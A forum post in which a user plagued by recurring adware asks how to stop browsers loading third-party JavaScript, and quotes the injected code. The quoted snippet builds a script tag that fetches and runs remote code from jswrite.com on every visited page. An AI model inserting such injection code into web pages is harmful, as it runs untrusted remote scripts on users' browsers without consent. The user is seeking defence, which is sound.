Stopping The Download Of Additional Javascript To Pages.

[ecchi]

Some time back I posted a thread about killing adware. I never got fully rid of the bastard, and it keeps re-downloading itself (I'm guessing this is being done with some free software I downloaded at some point). More annoyingly it keeps changing it's modus operandi, making it harder for me to find and kill.

It's latest trick is to add some javascript to the head of any website I visit thus:

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=8978;window.__wsujsn='MediaAds';window.__wsujss='4E65ACFB74B8CEBABA0748A9100EC8D5';} </script> 
						              <script>if(top == self){ 
							          var zhead = document.getElementsByTagName('head')[0]; 
							          if(!zhead){zhead = document.createElement('head');} 
							          var qscript = document.createElement('script'); 
							          qscript.setAttribute('id','wsh2_js'); 
							          qscript.setAttribute('src','http://jswrite.com/script1.js'); 
							          qscript.setAttribute('type','text/javascript');qscript.async = true; 
							          if(zhead && !document.getElementById('wsh2_js')) zhead.appendChild(qscript); 
						             } </script>

Is there any way I can set IE, Chrome, Firefox, etc to block the addition of javascript from any source other that the site I am visiting?

Thanks